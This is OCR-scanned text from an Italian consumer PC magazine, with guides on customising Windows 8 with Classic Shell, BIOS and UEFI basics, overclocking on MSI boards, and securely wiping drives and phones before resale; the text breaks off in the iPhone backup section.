classico Start Cliccandoci sopra apparirà il pannello delle impostazioni di 
Classic Shell; scegliamo tra il menu classico ( Windows Classici o quello in stile Win - 
ócm 7 (Windows 7). Cucchiamo S/nel e OK. 




^ j Personalizziamo il desktop 

2 > cucchiamo Start, poi su Programmi/Ciassic Shell/Classic Start Menu Set- 
tings per far apparire nuovamente la schermata delle impostazioni. Apria¬ 
mo quindi il tab Basic Settings e abilitiamo l'opzione Skip Metro screen per essere 
portati direttamente sul desktop all'avvio di Windows 8. 


Tutta Questione di stile 

4 l Aprendo il tab Skin, invece, possiamo scegliere un nuovo “vestito" per il 
- menu Start. Basta cliccare sulla freccia presente a lato della casella Win¬ 
dows Aero per aprire il relativo menu a tendina, scegliere uno stile e cliccare OK per 
applicarlo e vedere il risultato riaprendo il menu. 




lUnino estremo: si fà così 

Portando il mouse verso uno degli angoli del display, Wndows 8 visualizza 
vari tipi di barre. Per modificare questo comportamento, dal tab Windows 8 
Settings cucchiamo su Disable Active corners e disattiviamo tutte le barre con All 
oppure solo l’accesso involontario alla Start screen. 


A ì Voglio un nuovo menu 

0 I Per modificare l’aspetto dei menu Start apriamo il tab Start Bottone se\e- 
■«x*/ zioniamo Button iook. Potremo attivare il pulsante classico in stile Windows 
XP oppure uno in stile Metro. L’opzione Aero button è quella standard e offre un 
pulsante dall'aspetto simile a quello ci Windows 7, 
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TI SEI MAI CHIESTO COSA PUÒ 
NASCONDERE IL TUO COMPUTER? 



LIBERATI DAI VIRUS! UNA VOLTA PER TUHE. 


EMSISOFT ANTI-MALWARE 

PROTEZIONE DELLA NAVIGAZIONE ^ PROTEZIONE DEI FILE + CONTROLLO DEL COMPORTAMENTO 

www.emsisoft.it 
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Per saperne di più | BIOS&UEFl 



I l BIOS, una sigla che la maggior parte di noi 
probabilmente avrà ignorato, identifica 
un componente fondamentale per il cor¬ 
retto funzionamento del computer. La sigla è 
l’acronimo di Basic Input Output System, che 
tradotto in modo letterale significa “sistema di 
base per l’ingresso e ruscita”. Originariamente 
identificava un vero e proprio software, codi¬ 
ficato solitamente in linguaggio macchina e 
memorizzato su un chip ROM o su una Flash 
Memory'. Ora, come vedremo più avanti, le cose 
sono un po’ cambiate. 

Le funzioni del BIOS 

Il BIOS, come dicevamo, è fondamenta¬ 
le nell’economia del computer perché è 
quel software che permette al sistema 
operativo e ai programmi di dialogare 
correttamente con l’hardware presente 
nel PC. Ma ridurre l’opera del BIOS solo 
a questo è riduttivo. In effetti, esso inter¬ 
viene fin daH’accensionc, permettendo 
al computer di caricare correttamente 
il sistema operativo dal disco rigido (o 
dalla chiavetta USB, o anche dalla rete 
locale). Inoltre verifica se esistono anche 
altri BIOS (ed eventualmente li attiva), 
come quello presente sulla scheda grafica 
o su alcuni controller specialistici quali 
quelli RAID o SCSI. Infine, offre al sistema 
operativo stesso una serie di routine di 
basso livello che possono essere sfruttate 
per accedere ai dispositivi connessi al 
computer, siano essi su scheda madre 


È l’evoluzione del BIOS, ha un’interfaccia grafica e tante altre 
chicche tutte da scoprire. Senza di lui il nostro PC non parte! 


che esterni. In pratica, senza il BIOS, il 
sistema operativo non saprebbe quale 
hardw'are è presente nel computer e come 
accedervi correttamente per utilizzarlo. 
Per fare tutto ciò, il BIOS sfrutta anche le 
informazioni presenti nella CMOS, che 
possono essere modificate dall’utente per 
vari scopi. Qui urge fare una precisazione. 
Molti fanno confusione tra BIOS e CMOS. 
Quest’ultimo, però, non è un software, 
ma un particolare chip di memoria all’in¬ 
terno del quale sono contenuti dati che 
allo spegnimento del PC non vengono 
persi, grazie alla presenza di una batte¬ 
ria tampone che fornisce alimentazione 
a prescindere dalla presenza o meno di 
un’alimentazione da rete elettrica. I dati 
contenuti comprendono data e ora attuali, 
password di accesso al BIOS, configura¬ 
zione hardware del PC ecc. 


L’avvio del computer 

La prima cosa che fa il BIOS all’avvio del 
computer è verificare se tutte le periferi¬ 
che installate rispondono correttamente. 
Questa procedura viene chiamata POST, 
un altro acronimo il cui significato è Power 
On Self-Test; la sua esecuzione è ricono¬ 
scibile dalla presenza a schermo di scritte 
che informano sulla quantità di memoria 
disponibile, su quanti dischi rigidi sono 
installati c sulla loro dimensione. È in 
questa fase che il BIOS verifica se sono 
installati componenti fondamentali come 


I 


segreti dell’UEFI 



PIENO SUPPORTO ALL'UEFi 
SOLO CON WINDOWS 8 


L’UEFI è una sorta di BIOS molto partico¬ 
lare, nato per supportare esclusivamente 
sistemi operativi a 64 bit. Per questo 
finora non ha avuto successo. Chi ha 
provato a installare Windows XP sui Mac 
con processore Intel commercializza¬ 
ti nel 2006 non vi è riuscito proprio a 
causa dell’impossibilità per Windows 
XP di effettuare il boot su UEFI. Neanche 
Windows Vista e 7 supportano piena¬ 


mente UEFI. Solo le versioni a 64 bit dei 
due sistemi operativi sono pienamente 
compatibili con UEFI, mentre le versioni 
a 32 bit richiedono ancora un normale 
BIOS per poter essere installate ed ese¬ 
guite correttamente sul computer. Solo 
con Windows 8 si è ottenuta la piena 
compatibilità, tanto che i computer, per 
poter essere venduti con Windows 8, 
devono per forza di cose utilizzare UEFI. 
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BIOS&UEFI I Per saperne dì più 



WINDOWS 8: TUHII PASSI PER GESTIRE CORREHAMENTE L'UEFI 


Per accedere alla configurazione dell'UEFI da 
Windows 8 bisogna aprire la barra Charm uti¬ 
lizzando la combinazione di tasti Wìndows+C. 
Facciamo poi clic sulla voce Impostazioni e Mo¬ 
difica Impostazioni PC. Se abbiamo Windows 





! 



RmMkizi I PC GDfvvvvto I luo lie 


UQo c imtik windcMK 




8.1 andiamo nel sottomenu 
Aggiorna e rìpristina/Ripri- 
stìno e da Avvio avanzato 
cucchiamo sul pulsante Ri- 
avvìa ora (con Windows 
8 clicchiamo Generale e 
scorriamo l'elenco a de¬ 
stra fino a trovare Avvio 
Avanzato). 

Al boot, appare una 
nuova schermata che 
presenta quattro tile: 
Continua permette di 
ritornare a Windows 8; 
Utilizza un dispositivo 
consente di utilizzare 
un'unità di memorizzazio¬ 
ne esterna o il DVD di ripri¬ 
stino di Windows; Risoiuzio- 
ne dei problemi ci fa accedere 
agli strumenti per ripristinare il 


computer; Spegni il PC è abbastanza esaustivo. 
Se abbiamo problemi con il sistema operativo 



possiamo provare a risolverli utilizzando l'op¬ 
zione Risoluzione dei problemi. Qui possiamo 
aggiornare il computer senza perdere i nostri 
file (Aggiorna il PQ o effettuare una reimpo¬ 
stazione completa del computer, eliminando 
tutti ì file aggiunti (Reimposta II PC). Alcuni 
produttori inseriscono in queste voci anche 
le loro utility per il recovery del sistema. Nel 
nostro caso, cliccando su Dell Backup and 
Recovery si accede a un'utility che cerca di 
riparare il sistema senza farci perdere alcun 
file, dandoci anche la possibilità di effettuare 
un backup del contenuto del disco. 



Le Opzioni avanzate, invece, permettono di 
effettuare il recovery del sistema utilizzando un 


punto di ripristino precedentemente registrato 
(opzione Ripristino del sistema). Se il problema 
non si risolve così, allora possiamo provare a 
utilizzare l'opzione Ripristino Immagine del 
sistema, che consente di reinstallare il sistema 
operativo da una immagine creata in prece¬ 
denza. Se il computer presenta dei problemi 
all'avvio di Windows, l'opzione da utilizzare è 
Ripristino automatico, che cerca di risolverli 
automaticamente. 



Dalla schermata Opzioni avanzate, oltre ad 
avere la possibilità di accedere al Prompt dei 
comandi e di modificare le Impostazioni di 
avvio, p)ossiamo cliccare sulla tile Impostazioni 
Firmware UEFI per gestirle direttamente dopo 
il riavvio del PC. Ad esempio si può avviare una 
utility per effettuare il controllo dell'hardware 
del computer, o entrare nel setup per modifi¬ 
care le varie opzioni del BIOS. 



V il processore e la RAM, testa una per 

una le celle di memoria per verificarne 
il funzionamento, quindi controlla che 
siano presenti una tastiera e un mouse 
e se ci sono periferiche speciali instal¬ 
late su bus PCI o PCI Express da attivare 
(schede video, controller per dischi rigidi, 
controller USB e altro ancora). Al termine 
di questo controllo, il BIOS avvia la proce¬ 
dura di caricamento del sistema operativo 
iniziando dalla prima periferica di boot 
specificata nella CMOS (in genere il disco 
rigido) e proseguendo in sequenza con le 
altre fino a trovarne una contenente il si¬ 
stema operativo. Se non ne trova nessuna, 
il sistema si ferma mostrando il messaggio 
“Missing Operating System”, ovvero "si¬ 
stema operativo non trovato". 


Prima evoluzione del BIOS 

Con l'evolversi delle tecnologie impiegate 
nei computer, un elemento statico quale era 
inizialmente il BIOS imponeva ai produttori 
una serie di paletti difficilmente compatibili 
con il dinamismo presente nel settore. Ecco 
allora nascere i primi BIOS aggiornabili, 
che permettevano di aggiungere la compa¬ 
tibilità anche con dispositivi non presenti 
sul mercato al momento della commercia¬ 
lizzazione del computer. La procedura di 
aggiornamento del BIOS è allo stesso tempo 
semplice e pericolosa. Il software è salvato 
su una memoria speciale che non ha biso¬ 
gno di corrente elettrica per mantenere le 
informazioni memorizzate al suo interno. 
Fino a qualche anno fa l'aggiornamento 
presupponeva l'utilizzo di uno speciale 


programma che veniva avviato da floppy 
disk con una versione minimale di DOS. 
Nessuna interfaccia grafica, ma solo una 
linea di comando con la quale interagire. Se 
durante l'installazione del nuovo BIOS an¬ 
dava via la corrente, o interveniva qualche 
altro problema, il computer non si avviava 
più. Per ovviare a questo tipo di anomalia, 
nel corso degli anni i vari produttori hanno 
reso disponibili programmi di aggiorna¬ 
mento avviabili direttamente da Windows 
e in grado di scaricare il corretto BIOS, così 
da minimizzare la possibilità di incorrere 
in errori. Inoltre, molte schede madri sono 
state dotate di un doppio BIOS, cosicché 
qualora uno dei due si fosse danneggiato 
sarebbe intervenuto l'altro, per consentire 
all’utente di continuare a usare il PC. ► 
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IL PANNELLO DI CONTROLLO DELL'UEFI 

L'UEFI utilizzato dalle schede madri MSI è piuttosto semplice da gestire. Vediamo quali sono le opzioni disponibili e come modifìcarle. 
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ECO 


f ECO 

T mode 


Gente à] 

J ^ mode | 


BROWSER 


UTILITIES 


SECURITY 


a ECO MODE 

Permette di ottimizzare ii consumo di 
corrente, riducendo la velocità della 
CPU; Standard Mode è la modalità di 
funzionamento che bilancia prestazioni e 
consumi; OC Genie II Mode, invece, privilegia 
la velocità senza tenere conto dei consumi. 
Per cambiare dall'una all’altra modalità 
basta cliccare sul relativo pulsante. Infine, 
una gradita novità; cuccando su Language, 
in alto a destra, è possibile cambiare la 
lingua nella quale sono presentati i testi 
deirUEFI. Tra le lingue c'è anche l'italiano 

O MSI SETTINGS 

Cuccando su questo pulsante si ha accesso 


a quattro opzioni. System Status permette 
di verificare lo stato del sistema (voltaggi, 
temperatura, funzionamento delle ventole); 
Advanced fa accedere a una serie di opzioni 
relative alla configurazione dei bus di 
sistema e delle periferiche integrate; Boot 
permette di modificare l'ordine con cui 
viene cercato e avviato il sistema operativo 
tra le varie periferiche (disco rigido, DVD- 
Rom, chiavetta USB); Save & Exit permette 
di salvare i cambiamenti effettuati e di 
uscire dairUEFI 

O OC OVERLOCKING SETTINGS 

All’Interno di questo menu sono presenti 
le opzioni più sfiziose dell'UER, ovvero 


quelle relative all’overclock del PC. 

Agendo opportunamente su questi 
parametri potremo aumentare la velocità 
di funzionamento del processore e delle 
memorie, così da ottenere prestazioni 
migliori dal nostro computer 

Q ECO ENERGY SAVING 

ECO energy Saving permette di vedere 
informazioni di base relative al processore e 
al suo funzionamento 

O BROWSER 

È una delle novità che testimonia quanto 
il BIOS sia cambiato. Cuccando qui, infatti, 
si avvia un browser che ci permette di 


navigare su Internet senza dover avviare il 
sistema operativo 

O UnUTIES 

Permette di avviare tre utility: HDD Backup, 
con la quale realizzare una copia dei dati 
contenuti sul proprio disco rigido; Live 
Update, che permette di aggiornare le 
applicazioni MSI e i driver delle periferiche; 
M-Flash, per aggiornare la versione di UEFI 

B SECURITY 

Qui è possibile impostare la Administrator 
Password, ovvero la password richiesta per 
poter accedere al BIOS, e la User Password, 
richiesta per poter avviare l'OS 


E alla fine arriva l'UEFI 

Nonostante l’evoluzione, il BIOS continua¬ 
va ad essere un elemento piuttosto rigido, 
così dopo una decennale permanenza sui 
nostri computer, permanenza durante la 
quale il BIOS sostanzialmente ha sem¬ 
pre fatto le stesse cose nello stesso modo, 
è stato sostituito dalTlìFI, o UEFI. UEFI, 
Unified Extensibile Firmware Interface, 
presenta un approccio completamente di¬ 
verso rispetto al BIOS per quanto riguarda 
l’accesso alle ri.sorse del computer. Sostan¬ 


zialmente, lo si può immaginare come un 
sistema operativo in miniatura installato 
direttamente sulla scheda madre. L’UEFI 
ha diverse frecce in più al proprio arco ri¬ 
spetto a un BIOS tradizionale. Ad esempio 
può accedere a tutta la memoria presente 
nel computer, riservarsi un piccolo spazio 
sul disco rigido e ottenere nuove funzio¬ 
nalità aggiungendo applicazioni e utility 
sviluppate ad hoc, nonché d river per atti¬ 
vare il completo supporto di schede madri, 
schede video e altre periferiche. Grazie a 


tutto questo, l’UEFI può sfruttare anche 
una nuova interfaccia di tipo grafico (non 
sempre presente, a dire il vero) e il mouse, 
rendendo più semplice per gli utenti navi¬ 
gare tra le varie opzioni. Se il computer è 
dotato di display touch, è possibile sfruttar¬ 
lo al posto delmouse e cambiare le opzioni 
con un tocco. Sviluppato da Intel fin dal 
1998, ma portato ufficialmente sul mercato 
solo nel 2006 sui Mac con processore Intel 
Core Duo di Apple, l’UEFI ha visto la sua 
piena affermazione solo recentemente. 
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Sistema 



con la diffusione, sempre più frequente, 
dei computer basati su Windows 8. 

I vantaggi del “Nuovo BIOS” 

L'interfaccia grafica è solo la punta dell'ice¬ 
berg, quella visibile, ma UEFI rappresenta 
molto di più. Una delle novità più inte¬ 
ressanti, ad esempio, è ii supporto per i 
nuovi dischi rigidi, che sono sempre più 
capienti e veioci. Con il BIOS si potevano 
avere fino a un massimo di 4 partizioni 


(su ciascun disco) e dischi da massimo 2 
Terabyte per via delie limitazioni dell'MBR 
(Master Boot Record); grazie alia nuova 
(ìPT (GUID Partition Table) implementata 
in UEFI è invece possibile adesso utilizza¬ 
re fino a 128 partizioni per disco e dischi 
da 8 Zettabyte cadauno (pari a ben otto 
miliardi di Terabyte). Altra novità da non 
sottovalutare assolutamente è la maggior 
integrazione che si viene a creare con il 
sistema operativo. Ad esempio, ora è pos¬ 


sibile selezionare direttamente dal sistema 
operativo da quale periferica avviare l'OS 
(senza dover riavviare necessariamente il 
computer), entrare nel BIOS, selezionare 
la periferica e poi riavviare nuovamente 
il sistema. 

Secare Boot 

Osteggiato dai linuxiani, guardato con 
estrema diffidenza dagli smanettoni, il 
Secure Boot è l’elemento deH'UEFl che 


OVERCLOCKtCON L'UEFI ÈTUTTO PIÙ FACILE! 
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Per spremere fino all'ultima goccia di potenza dal nostro sistema possiamo provare a overcloccarlo, elevando le frequenze di 
funzionamento delle componenti installate (processore e memoria). Vediamo anzitutto che significato hanno le voci di nostro 
interesse presenti in questo menu e come intervenire correttamente per aumentarne le prestazioni. 

D FREQUENZA CORRENTE CPU 

Indica la frequenza corrente del processore. 

È ottenuta moltipllcando la frequenza di base (CPU Base 
Frequency) in MHz per un fattore di moltiplicazione (CPU 
Ratio) 

B FREQUENZA CORRENTE DRAM 

Indica la frequenza di funzionamento della memoria 

msi 
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(solitamente 1.600 MHz) 

E1 CPU BASE FREQUENCY 

È il primo parametro sul quale si può intervenire per 
elevare la frequenza del processore. In questo caso 
è espressa in KHz, ma solitamente la si trova in MHz. 

Per overloccare il sistema aumentiamo questo valore 
di pochi MHz per volta (ad esempio 5 MHz o 500 

KHz), quindi rìawiamo ed eseguiamo qualche test per 
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verificare la stabilità di Windows 

O REGOLA CPU RATIO 

Permette di modificare il fattore di moltiplicazione 
delia CPU. Modifichiamo con calma questo valore: 
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basta aumentarlo di una unità per elevare di molto 
la frequenza della CPU. Se la frequenza base rimane 
invariata a 100 MHz, aumentare la CPU Ratio di un'unità 
equivale ad aggiungere 100 MHz alla frequenza del 
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B FREQUENZA DRAM 

È il parametro da variare per modificare la frequenza 
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della memoria. Si può variare solo in step predefiniti. 

Di solito la frequenza di base è 1.600 MHz, ma con 
memorie di buon livello la si può alzare almeno di uno 
step, portandola a 1.800 o 1.866 MHz. Se le memorie 
sono progettate per l'overclock si riesce ad andare 
anche oltre 

O CPU CORE VOLTAGE 

Questo parametro permette di aumentare il voltaggio 
del core della CPU. L'operazione è delicata, perché 
aumentando la quantità di corrente si aumenta anche 
la temperatura del core, quindi occorre fare attenzione 
a che questa non saiga troppo. L'aumento della 
tensione di alimentazione, però, permette di aumentare 
ulteriormente la frequenza di lavoro del processore 
dopo aver raggiunto il limite di overclock alla tensione 
normale. Aumentiamo di uno step per volta verificando 
la stabilità del sistema a ogni aumento e teniamo sotto 
controllo la temperatura. Non oltrepassiamo gli 0,20 volt 
di aumento (al massimo) 

B VOLTAGGIO DRAM 

Aumenta la tensione di alimentazione delle memorie. 

Anche in questo caso permette di aumentare le 
possibilità di ottenere un overclock elevato, ma a scapito 
della sicurezza dei dab, visto che anche in questo caso 
si assiste a un più elevato aumento di temperatura del 
componente, che quindi andrebbe 'affreddato con una 
ventola. Aumentiamo di uno step per volta la tensione, 
facendo attenzione a non superare gli 1,85 volt ■ 
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Sistema 


Per saperne di più | BIOS&UEFI 


COME SI OVERLOCCA IL SISTEMA? 


Overcloccare un computer è un ope¬ 
razione tutto sommato semplice, 
anche se occorre prestare grande 
attenzione ai valori che si modificano. 
Per questo consigliamo di intervenire 
su una sola opzione appuntando di 
volta in volta le modifiche effettuate, 
così da poter tornare indietro se il 
computer non dovesse riavviarsi o 
mostrasse dei blocchi improvvisi in 
Windows. L'opzione che porta i van¬ 
taggi più immediati è quella di innal¬ 
zare il valore del CPU Ratio, ovvero il 
fattore di moltiplicazione. L'aumento 


di uno step in questo parametro cor¬ 
risponde solitamente all'aumento di 
100 MHz nella frequenza di lavoro del 
processore. La CPU Ratio può essere 
modificata solo nei processori Intel 
serie K e nei processori AMD. Gli Intel 
Core "normali”, invece, non permetto¬ 
no la modifica di questo parametro. 
Se il moltiplicatore è bloccato, si può 
agire sulla Frequenza della CPU, che 
può essere aumentata finemente, a 
step di 1 MHz. Solitamente i com¬ 
puter attuali sopportano piuttosto 
bene modifiche almeno fino a 3-5 




MHz, che corrispondono a portare la 
frequenza dai 100 MHz di base ai 105 
MHz, da moltiplicare poi per la CPU 
Ratio. Ovviamente è possibile, anzi, 
consigliabile, combinare la modifica 
della CPU Ratio con quella della fre¬ 
quenza di base del processore, così 
da ottenere la più elevata frequenza 
possibile. Quando il sistema inizia 
a diventare instabile o si rifiuta di 
avviarsi, è il momento di passare alla 
fase due. Per migliorare la propen¬ 
sione all'overclock è possibile elevare 
il voltaggio dell'alimentazione del 
processore, ma sempre con molta 


prudenza. Agendo sul parametro 
CPU Core Voltage è possibile au¬ 
mentare di 0,05 volt l'alimentazione, 
ma attenzione: evitiamo di alzarla 
troppo (per le CPU Intel 0,2 volt sono 
già un valore abbastanza elevato per 
un utilizzo giornaliero dell'overclock, 
mentre 0,30-0,35 sono da considera¬ 
re come valore limite). Aumentare il 
voltaggio della CPU implica anche la 
necessità di dissipare meglio il mag¬ 
gior calore prodotto, quindi diventa 
obbligatorio eliminare il dissipatore 
stock e sostituirlo con uno specifico 
per overclock. 


più di altri ha fatto discutere. Che cos'èV 
Molto semplice a dirsi: il Secure Boot è un 
sistema di protezione ideato da Intel che 
permette esclusivamente l’installazione di 
sistemi operativi autorizzati. Praticamente, 
il Secure Boot si preoccupa di leggere una 
firma crittografica contenuta all'interno 
del bootloader del sistema operativo e ve¬ 
rifica che questa sia esattamente compresa 
tra quelle autorizzate, contenute all'interno 
del firmware UF.FI. Questa limitazione, 
parlando a livello strettamente teorico. 


non permetterebbe di installare sistemi 
operativi non firmati, come ad esempio Li¬ 
nux, ma in pratica l'opzione è disattivabile 
dall'UEFI. Pertanto, è possibile installare 
praticamente qualsiasi sistema operativo, 
per cui il problema non si pone per niente. 
Piuttosto, l’opzione permette di evitare che 
elementi esterni (ad esempio un malware 
come un rootkit) possa infettare il sistema 
e diffondersi ulteriormente. Se il bootloa¬ 
der, difatti, venisse modificato alterando 
cosi la chiave, il sistema si rifiuterebbe 


addirittura di avviarsi, evitando la dif¬ 
fusione del virus. C'è anche una piccola 
precisazione da fare: il Secure Boot può 
essere disabilitato senza problemi sui PC e 
sui tablet basati su piattaforma Intel, men¬ 
tre sui sistemi basati su piattaforma ARM 
l'opzione non è disattivahilc. Impossibile, 
quindi, acquistare un tablet con Windows 
RT e pensare poi di installare su di esso 
Linux o Android, o una loro variante, a 
meno che per questa non venga rilasciata 
una chiave crittografica valida. 



LINGUAGGIO 

MACCHINA: 

è il linguaggio nei quale sono 
scritti i programmi che vengono 
eseguiti su PC. 


ROM (READ ONLY 
MEMORY): 


si tratta di una memoria di sola 
lettura nella quale i dati vengo¬ 


no memorizzati dai produttore 
e non sono più modificabili. Era 
utilizzata una voita per i primi 
BiOS. 

RAID(REDUNDANT 
ARRAY OF 

INDEPENDENTDISKS): 

un controiler integrato su scheda 
madre o su scheda PCI Express 
che permette di combinare due 


0 più dischi per priviiegiare ia ve- 
iocità del sistema o la sicurezza 
dei dati. 

SCSI (SMALL 
COMPUTER SYSTEM 
INTERFACE): 

è un'interfacda realizzata per 
consentire il trasferimento dei 
dati su bus paraileli, ottenendo 
così eievate prestazioni. È diffusa 


soprattutto su Server e Worksta¬ 
tion di fasda alta per la connes¬ 
sione di dischi rigidi veloci. 

DOS (DISK OPERATING 
SYSTEMS): 

è stato ii sistema operativo 
utilizzato sui prindpali computer 
daila metà degli anni '80 e fino 
ai 2000, anche se dalla metà 
degli anni '90 era incorporato 


aibnterno di alcune versioni di 
Windows (per (a precisione 95, 
98 e Millenium). 

MBR (MASTER 
BOOT RECORD): 

è il settore iniziale del disco rigi¬ 
do nel quale si trova la sequenza 
dei comandi necessari per effet¬ 
tuare correttamente l'avvio del 
sistema operativo. 
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Antìvirus&Sìcurezza 


Fai da te | Giù le mani dai miei dati! 



Vuoi vendere un PC o un cellulare? 
Ecco come eliminare per sempre 
i fiie salvati nei dispositivi 


^Cosaci 

occorre 


TOa 01 SICUREZZA 

DISKWIPE 

Lo trovi su: J?CO ^DVD 

Sito Internet 
www.diskwipe.orgc 


‘ SOfTOAREDI 
i OTOMiZZAZIONE 

CCLEANER j 

i Lo trovi su; ?C0 C<?DVD 

: Sito Internet 
www.piriforTn.com 

TOOL DI RECUPERO RLE t 

RECUVA 

• Lo trovi su: 2CD .FDVD 
riilatv/JtnkTi.Miiiàìa ' 

: Sito Internet 
www.pirifonn.com 

I 

PROGRAMfAADI ? 
RECUPERO FILE 

WONDERSHARE 
» DR.FONE 

i LotlOVÌSU;5?CO S^DVD 
■ Quanto costa; € 37,19.00 
: Sito internet: 
www.w0nder5hare.net 


Q uando si vuole vendere un PC, un note¬ 
book, uno smartphone, un tablet 0 in ge¬ 
nerale un dispositivo dotato di una unità 
di memorizzazione (oppure anche soltanto 
un hard disk o una scheda di memoria SD), 
è bene assicurarsi di eliminare i dati memo¬ 
rizzati al loro interno in maniera definitiva. 
Non è sufficiente, infatti, una formattazione 
per “svuotare” un disco rigido o una memoria 
di massa portatile. Adoperando appositi tool, 
infatti, il nuovo proprietario del dispositivo da 
noi venduto potrebbe riuscire a recuperare tutti 
(o almeno buona parte) i dati presenti in esso. 
E visto e considerato che l’abitudine comune 
è quella di conservare su PC, cellulari e tablet 
documenti personali, credenziali di accesso 
a conti corrente on-line e altri dati sensibili, è 
fondamentale assicurarsi, prima di cedere un 
dispositivo, di aver eliminato i dati contenuti 
e di fare in modo di non renderli recuperabili 
neanche con l'uso di programmi atti allo scopo. 

Cancellare tutto per sempre 

Per ottenere questo risultato dobbiamo pertanto 
ricorrere ad alcuni software specifici, come 
CCleaner, che effettuano il "wipe” del disco, 
scrivendo dati random e rendendo praticamen¬ 
te impossibile il recupero delle informazioni. 
Questa operazione può essere effettuata non 
solo sui dischi rigidi, ma anche sulle chiavette 
USB, sulle SD Card e alle memorie dei telefoni 
cellulari. Cosa un po’ diversa, invece, è la can- 
cellazione dei dati dalla memoria principale 
degli .smartphone. In questo caso dobbiamo 
effettuare il root del telefono, quindi entrare nel 
recovery mode e infine procedere con il wipe. La 
procedura cambia a seconda del modello, ma 
possiamo ugualmente utilizzare delle app che si 
occupano di eliminare i dati nel modo più sicuro 
possibile. Vediamo quindi come effettuare una 
cancellazione sicura dei dati dalle memoriee ve¬ 
rificare che siano stati effettivamente eliminati. 


mani 

dati! 


Giù ie 
miei 












Giù le mani dai mìei dati! I Fai da te 


Antìvìrus&Sìcurezza 


Cancellazioni a prova di hacker 

Utilizzando in sequenza due appositi tool possiamo eliminare in maniera definitiva tutti i dati presenti su 
una chiavetta USB. Questo procedimento vale anche per hard disk e schede SD e MicroSD. 



▲ Esploriamo la pendrive 

^ I Inseriamo la nostra chiavetta USB nell’apposita porta del computer e visua- 
«-r»- lizziamone il contenuto con Esplora Risorse o con qualunque altro file mana¬ 
ger. Nel nostro caso file come immagini e brani musicali si trovano all’Interno delle 
cartelle Immagini e Musica. 


^ Il tool 
o cancella 

È il momento di effet¬ 
tuare il “wipe" del sup¬ 
porto. Per massima 
sicurezza cancelliamo 
i dati utilizzando due 
software. Cominciamo 
con DiskWipe (sezio¬ 
ne Antìvirus&Sicurezza 
del Win CD/DVD-Rom). 
Non necessita di instal¬ 
lazione: per awiario fac¬ 
ciamo doppio clic sul file 
eseguibile. 




^ Il giusto numero di passate 

2 * Selezioniamo il disco da cancellare, clicchia- 
. mo Wipe Disk, quindi premiamo Next. Sce¬ 
gliamo quante passate effettuare (nel caso di una 
memoria USB o una scheda SD non esageriamo per¬ 
ché potrebbe danneggiarsi). Confermiamo nella scher¬ 
mata successiva e premiamo Finish. 


▲ i Rifacciamo tutto 
4 1 con CCleaner 

Scompattiamo sul disco rigido l’archivio com¬ 
presso CCIeaner.zip (presente nella sezione Indispen¬ 
sabili óe\ Win CD/DVD-Rom) e facciamo doppio clic 
sul file eseguibile. Selezioniamo Italiano come lingua e 
seguiamo la procedura d'installazione guidata. 


Bonifichiamo la chiavetta 

2 I Avviato CCleaner, a sinistra cucchiamo Stru- 
menti, quindi Bonifica. Scegliamo il disco da 
bonif icare e il numero di passaggi da effettuare (sele¬ 
zioniamo almeno 7 passaggi (Sovrascrìttura com¬ 
plessai solo nel caso di hard dask) e premiamo il pul¬ 
sante Bonifica. 


LA PROVA DEL NOVE 



Dopo aver eseguito il wipe del disco, 
è bene verificare se i dati risultano 
ancora recuperabili o meno. Perfarlo 
installiamo il software Recuva (sezio¬ 
ne Antivìrus&Sicurezza del Win CD/ 
DVD-Rom), avviamo il programma 
tramite l'icona creata sul desktop 
e seguiamo il wizard proposto da 
Recuva. Scegliamo la voceTutti i file 
e la posizione (il disco) sulla qua¬ 
le effettuare il ripristino dei file. In 


redazione abbiamo effettuato dei 
test di recupero subito dopo aver 
eliminato i dati sia con l'uno sia con 
l'altro software. Nel caso del wipe 
effettuato con Wipe Disk, Recuva 
ha recuperato soltanto 3 file dei 77 
che erano memorizzati nel disco, sia 
effettuando la scansione veloce sia 
quella approfondita. I file recuperati, 
però, non sono risultati utilizzabi¬ 
li, come spesso capita eseguendo 


questo tipo di operazione in caso 
di recupero. Ancora meglio le cose 
sono andate dopo il wipe effettuato 


con CCleaner; il programma Recuva 
non è infatti riuscito a ripristinare 
neanche un file. 
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Fai da te | Giù le mani dai miei dati! 


Antìvirus&Sicurezza 


Ripuliamo smarthone e tablet 

Nei seguenti passi abbiamo utilizzato un Sony Xperia M. Se vogliamo eliminare tutti i dati da un dispositivo 
diverso facciamo riferimento al box a fondo pagina. Ecco come fare. 


^. Un Android come nuovo 


JJ 


Per riportare alle impostazioni di fabbri¬ 
ca la memoria principale di uno smar¬ 
tphone 0 tablet 
Android andiamo 
in Impostazioni/ 
Backup e ripri- 
stino/Ripristino 
dati di fabbrica. 
In questo modo 
il sistema sarà in 
grado di eliminerà 
definitivamente gli 
account impostati 
e tutte le applica¬ 
zioni installate. 




< ^ Rtpnstino dati di fabbrica 

Questa opcra2K>ne canc«4lera 
tutti I dati nplhmemoria del 
dispositivo compresi 

• Il tuo account Google 

• Dati e impostuioni del sistema 
e delle appliranoni 

• Applicazioni scaricate 


Al momento sci collegato ai 
seguenti account: 


▼ “Svuotiamo” 

2 ; la memoria aggiuntiva 

—^ Per eliminare in maniera definitiva tutti i 
dati presenti nella 
scheda di memo¬ 
ria SD installata 
nello smartpho¬ 
ne scarichiamo 
l'app SecureWi- 
pe dal Play Store. 
Avviamola, toglia¬ 
mo la spunta dal¬ 
la voce Sanitize 
System Space e 
infine tocchiamo 
su Start Wiping, 



A ^ Cancellazione effettuata 

3 : Per controllare una memoria esterna 
inseriamola nel lettore del PC e seguia¬ 
mo la procedura nel box La prova del nove. 
Altrimenti, installiamo il software Wondershare 
Dr.Fone (sezione Antivirus&Sicurezza del Win 
CD/DVD-Rom), colleghiamo il telefono via USB 
e seguiamo le istruzioni. 


H SecurrWipe 


Start W^wig Mraab Suu 
Samtize Sy«l«m Spaee 
Sannize SD Card 
Sanitize Opt>onal 8D Card 



BACKUP E RIPRISTINO SU IPHONE 


Se prima di vendere un dispositivo 
Apple vogliamo effettuare una 
copia di backup dei dati memo¬ 
rizzati su di esso, dobbiamo solo 
scegliere se utilizzare iCIoud o 
se farlo direttamente sul nostro 
computer. Se optiamo per la co¬ 
pia sul Mac dobbiamo avviare il 
player multimediale iTunes, sele¬ 
zionare il dispositivo da vendere 
e, nella sezione Backup fare clic 
su Questo computer. Subito do¬ 
po scegliamo Effettua backup 
adesso. Se dovessimo invece sce¬ 
gliere di effettuare il salvataggio 
su iCIoud, andiamo nelle Prefe¬ 
renze dell'iPhone e selezionia¬ 
mo ICIoud/Archivio e Backup e, 
infine. Effettua backup adesso. 
Nel caso ci trovassimo nella ne¬ 
cessità impellente di effettuare 
